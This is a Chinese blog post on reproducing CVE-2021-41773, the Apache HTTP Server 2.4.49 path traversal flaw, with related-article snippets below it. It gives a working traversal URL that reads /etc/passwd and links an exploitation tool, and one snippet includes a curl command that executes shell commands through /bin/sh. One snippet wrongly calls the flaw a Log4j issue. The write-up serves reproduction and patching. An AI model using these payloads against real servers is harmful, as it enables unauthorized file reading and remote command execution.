Apache——CVE-2021-41773

最新推荐文章于 2024-04-19 11:57:29 发布
最新推荐文章于 2024-04-19 11:57:29 发布
阅读量3.6k 收藏 4
点赞数
文章标签： apache cve
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_45770644/article/details/120629019
版权

前言：

Apache Software 已迅速发布了针对 Apache HTTP Server 中的零日安全漏洞的修复程序，该漏洞于上周首次报告给该项目。该漏洞正在野外被积极利用，它表示，并可能允许攻击者访问敏感信息。

CVE-2021-41773 可能允许路径遍历和随后的文件泄露。路径遍历问题允许未经授权的人访问 Web 服务器上的文件，方法是欺骗 Web 服务器或在其上运行的 Web 应用程序返回存在于 Web 根文件夹之外的文件。

该问题仅影响 Apache 开源 Web 服务器的 2.4.49 版，在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现了一个缺陷，攻击者可以利用以进行进一步攻击的敏感信息。

漏洞复现：

直接访问地址，插入poc  /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

漏洞POC:

127.0.0.1/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

利用工具：
https://github.com/inbug-team/CVE-2021-41773_CVE-2021-42013

 

修复方式：

升级到高版本

“要求所有拒绝”（拒绝访问所有请求）是保护 Web 根目录之外的文档的默认设置

Teamss
关注
  • 0
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CVE-2021-21975:Nmap脚本检查漏洞CVE-2021-21975
04-06
CVE-2021-21975 Nmap脚本检查漏洞CVE-2021-21975 漏洞参考： 博客 例子 nmap -p443 --script cve-2021-21975.nse --script-args vulns.showall IP
Apache 2.4.49 路径穿越漏洞复现 ( CVE-2021-41773 )
qq_45396375的博客
01-04 482
在Apache HTTP Server 2.4.49版本中存在一处路径穿越漏洞（CVE-2021-41773）如果配置了Require all granted，远程攻击者可以使用路径遍历攻击访问易受攻击的Web服务器上文档根目录以外的任意文件；如果Apache HTTP Server 2.4.49开启了CGI，攻击者还可构造恶意请求实现远程代码执行。
vulfocus靶场名称: apache-cve_2021_41773/apache-cve_2021_42013
最新发布
没有故事
04-19 519
Apache HTTP Server 2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞，攻击者可利用该漏洞读取到Web目录外的其他文件，如系统配置文件、网站源码等，甚至在特定情况下，攻击者可构造恶意请求执行命令，控制服务器。目录遍历：GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd。1:get：在url后面加上。远程代码执行：bp抓包。
CVE-2021-25646-Apache Druid漏洞POC.py
02-26
CVE-2021-25646-Apache Druid漏洞POC.py
CVE-2021-21972：CVE-2021-21972漏洞利用
03-04
CVE-2021-21972 CVE-2021-21972 工作于 VMware-VCSA-all-6.7.0-8217866，VMware-VIM-all-6.7.0-8217866 :heavy_check_mark: VMware-VCSA-all-6.5.0-16613358 :heavy_check_mark: 对于vCenter6.7 U2 + vCenter 6.7U2 +在内存中运行网站，因此此Exp不适用于6.7 u2 +。 需要测试 vCenter 6.5 Linux（VCSA）/窗口等待测试 vCenter 6.7 Linux（VCSA）/窗口等待测试 vCenter 7.0 Linux（VCSA）/窗口等待测试 细节 突破为任意文件上传 存在问题的接口为/ui/vropspluginui/rest/services/uploadova ，完整路径（ https://domain.com/ui/vropspluginui/r
CVE-2021-26295 Apache OFBiz 反序列化漏洞.md
04-13
CVE-2021-26295 Apache OFBiz 反序列化漏洞
Apache HTTP Server 路径穿越漏洞复现(CVE-2021-41773 )
qq_59975439的博客
06-10 5703
Apache HTTP Server 路径穿越漏洞复现(CVE-2021-41773 )
Apache HTTP Server漏洞（CVE-2021-41773）
weixin_44769042的博客
10-26 5588
漏洞复现记录--1 搭建环境 容器可以直接从DockerHub使用 dockerpullblueteamsteve/cve-2021-41773:no-cgid 使用： dockerrun-dit-p8080:80blueteamsteve/cve-2021-41773:no-cgid 访问：ip:8080
【安全漏洞】CVE-2021-41773和CVE-2021-42013漏洞分析
qq_53058639的博客
01-06 336
Apache HTTP Server 2.4.49版本使用的函数在对路径参数进行规范化时会先进行url解码，然后判断是否存在../当检测到路径中存在%字符时，如果紧跟的2个字符是十六进制字符，就会进行url解码，将其转换成标准字符，如%2e->，转换完成后会判断是否存在../。如果路径中存在%2e./形式，就会检测到，但是出现.%2e/这种形式时，就不会检测到，原因是在遍历到第一个字符时，此时检测到后面的两个字符是%2而不是./，就不会把它当作路径穿越符处理，因此可以使用.%2e/或者%2e%2e。
CVE-2021-41773(42013) Apache HTTP Server路径穿越漏洞复现
weixin_45260839的博客
06-03 5497
CVE-2021-41773(42013) Apache HTTP Server路径穿越漏洞复现
CVE-2021-41773 目录穿越复现并反弹shell
m0_53073183的博客
02-01 887
Apache HTTP Server 2.4.49 路径穿越漏洞（CVE-2021-41773）Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。攻击者利用这个漏洞，可以读取位于Apache服务器Web目录以外的其他文件，或者读取Web目录中的脚本文件源码，或者在开启了cgi或cgid的服务器上执行任意命令。
CVE-2021-25735:利用CVE-2021-25735
05-14
CVE-2021-25735 利用CVE-2021-25735：Kubernetes验证准入Webhook绕过 设置脆弱的环境 让我们从运行脚本gencerts.sh开始以生成TLS证书和密钥。 bash gencerts.sh 要部署接纳控制器，您需要在本地构建Docker容器映像...
检测通过“ proxylogon”组漏洞（CVE-2021-26855，CVE-2021-26857，CVE-2021-26858，CVE-2021-27065）利用的Microsoft Exchange服务器上掉落的Web Shell-.NET开发
05-27
预认证SSRF，CVSS：3.0 9.1 / 8.4 CVE-2021-26857，不安全的反序列化导致特权升级到SYSTEM级别，CVSS：3.0 7.8 / 7.2 CVE-2021-26858，认证后文件写入， CVSS：3.0 7.8 / 7.2 CVE-2021-27065，认证后文件写入，CVSS...
Apache CVE-2021-41773 复现
白昼小丑的博客
10-10 2052
CVE-2021-41773 poc： /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd 但是近期国外的师傅研究出了直接RCE的方法，Payload如下： curl --data "A=|id>/tmp/x" 'URL/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -vv 如果想要进行RCE的话就要开启CGI。 ...
apache-cve_2021_41773 复现
YouthBelief的博客
11-05 1699
apache-cve_2021_41773 复现apache-cve_2021_41773 复现0x01 漏洞描述0x02 影响范围0x03 漏洞复现手工复现0x04 漏洞修复 apache-cve_2021_41773 复现 Apache HTTP Server是一个开源、跨平台的Web服务器，它在全球范围内被广泛使用。 0x01 漏洞描述 2021年10月5日，Apache发布更新公告，修复了Apache HTTP Server2.4.49中的一个路径遍历和文件泄露漏洞（CVE-2021-41773）。
Apache HTTP Server 2.4.49 中的路径遍历和文件泄露漏洞 （CVE-2021-41773）
weixin_53639243的博客
02-27 273
如果这些目录之外的文件不受通常的默认配置“require all denied”的保护，则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本，则可以允许远程执行代码。在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现一个缺陷。攻击者可以使用路径遍历攻击将 URL 映射到预期文档根目录之外的文件。Apache HTTP 服务器项目旨在为现代操作系统（包括 UNIX 和 Windows）开发和维护开源 HTTP 服务器。发送到重发器，进行改包操作。
探索CVE-2021-41773与CVE-2021-42013：深入Apache Log4j的安全漏洞修复
gitblog_00044的博客
03-30 392
探索CVE-2021-41773与CVE-2021-42013：深入Apache Log4j的安全漏洞修复 项目地址:https://gitcode.com/inbug-team/CVE-2021-41773_CVE-2021-42013 在软件安全领域，CVE（Common Vulnerabilities and Exposures）编号是用于识别特定安全漏洞的标准。近年来，Apache Log...
apache代码执行（cve-2021-41773）漏洞复现
weixin_42675091的博客
09-23 787
apache代码执行（cve-2021-41773）漏洞复现
CVE-2021-41773 - (apache 文件读取&命令执行)漏洞复现
三天不打上房揭瓦的博客
10-08 2624
目录漏洞描述影响版本漏洞复现漏洞修复 漏洞描述 CVE-2021-41773 漏洞是在 9 月 15 日发布的 2.4.49 版中对路径规范化所做的更改引入到 Apache HTTP Server 中的。此漏洞仅影响具有“require all denied”访问权限控制配置被禁用的Apache HTTP Server 2.4.49 版本。成功的利用将使远程攻击者能够访问易受攻击的 Web 服务器上文档根目录之外的任意文件。根据该公告，该漏洞还可能泄露“CGI 脚本等解释文件的来源”，其中可能包含攻击者可以
CVE-2021-41773
07-25
CVE-2021-41773是Apache HTTPd 2.4.49中的一个路径穿越漏洞，它可能允许攻击者读取Apache服务器web目录以外的其他文件，或读取web中的脚本源码。如果服务器开启了CGI或cgid服务，攻击者还可以进行任意代码执行。\[2\]这个漏洞的影响版本是Apache HTTPd 2.4.49。攻击者可以利用路径遍历问题来访问Web服务器上的文件，即使这些文件存在于Web根文件夹之外。\[3\] #### 引用[.reference_title] - *1* *2* [Apache HTTP Server 路径穿越漏洞复现(CVE-2021-41773 )](https://blog.csdn.net/qq_59975439/article/details/125225949)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [Apache——CVE-2021-41773](https://blog.csdn.net/qq_45770644/article/details/120629019)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值